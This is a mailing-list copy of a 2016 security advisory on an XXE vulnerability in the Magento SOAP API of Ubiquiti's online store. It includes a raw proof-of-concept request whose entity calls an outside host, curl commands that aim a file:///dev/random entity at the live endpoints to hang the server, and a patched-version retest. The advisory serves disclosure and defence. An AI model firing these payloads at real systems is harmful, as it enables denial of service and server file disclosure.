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Subject: [FD] UBNT Bug Bounty #2 - XML External Entity Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2016-04-25 10:07:33
Message-ID: 571DEC65.7080409 () vulnerability-lab ! com
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Document Title:
===============
UBNT Bug Bounty #2 - XML External Entity Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1466
Release Date:
=============
2016-04-14
Vulnerability Laboratory ID (VL-ID):
====================================
1466
Common Vulnerability Scoring System:
====================================
3.8
Product & Service Introduction:
===============================
Ubiquiti Networks is an American technology company started in 2005. Based in San \
Jose, California they are a manufacturer of wireless products whose primary focus is \
on under-served and emerging markets.
(Copy of the Homepage: http://en.wikipedia.org/wiki/Ubiquiti_Networks )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the \
official Ubnt online service web-application.
Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ubiquiti Network
Product: Ubnt Store - Web Application (Online-Service) 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An XML external entities injection vulnerability exists on the soap server hosted on \
https://store.ubnt.com/index.php/api/ magento script. The attack allows an attacker \
to open local files (although perhaps not return the data, see below), leading at \
best to a DoS.
Proof of Concept (PoC):
=======================
The XEE Vulnerability can be exploited by remote attackers without privileged \
application user account and low user interaction. For security demonstration or to \
reproduce the security vulnerability follow the provided information and steps below \
to continue.
Often this attack can be used to extract files from the server (such as /etc/passwd), \
or even directly execute code if the PHP expect module is installed, however in this \
case exploitation isn't as straight forward as the issue occurs in the XML pre-check \
code and no user input is returned. That's not to say there isn't a away to \
exfiltrate data,
--- PoC Session Logs [POST] ---
POST /index.php/api/ HTTP/1.1
Host: store.ubnt.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
PoC:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe \
SYSTEM "https://zero-way.net/?xxe">]> <SOAP-ENV:Envelope>
<SOAP-ENV:Body>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
PoC. Reply
<?xml version="1.0" encoding="UTF-8"?>
<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">env:Bodyenv:Faultenv:Codeenv:Valueenv:Receiver/env:Value/env:Codeenv:Reasonenv:TextDTD \
are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope
You'll get the error "DTD are not supported by SOAP", but the attack will have \
succeeded.
cURL proof-of-concept which makes the script open /dev/random and hang:
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ \
<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' \
https://store.ubnt.com/index.php/api/
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ \
<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' \
https://store.ubnt.com/index.php/api/soap/
For more information on XXE vulnerabilities in PHP in particular, see:
http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-external-entity-injection
Hadji Samir
i installed the last version ver 1.9.1.0 - magento ,they fixed the bug xxe/xee:
disabled to prevent XXE/XEE attacks
Poc
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ \
<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' \
http://localhost/magento/index.php/api/ HTTP/1.1 500 Internal Service Error
Date: Sat, 21 Mar 2015 22:00:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Content-Length: 324
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">SOAP-ENV:BodySOAP-ENV:Fault<faultcode>Sender</faultcode><faultstring>Detected \
use of ENTITY in XML, disabled to prevent XXE/XEE \
attacks</faultstring>/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope
Security Risk:
==============
The security risk of the xee vulnerability in the soap server is estimated as medium. \
(CVSS 3.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) \
[http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]
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=========================
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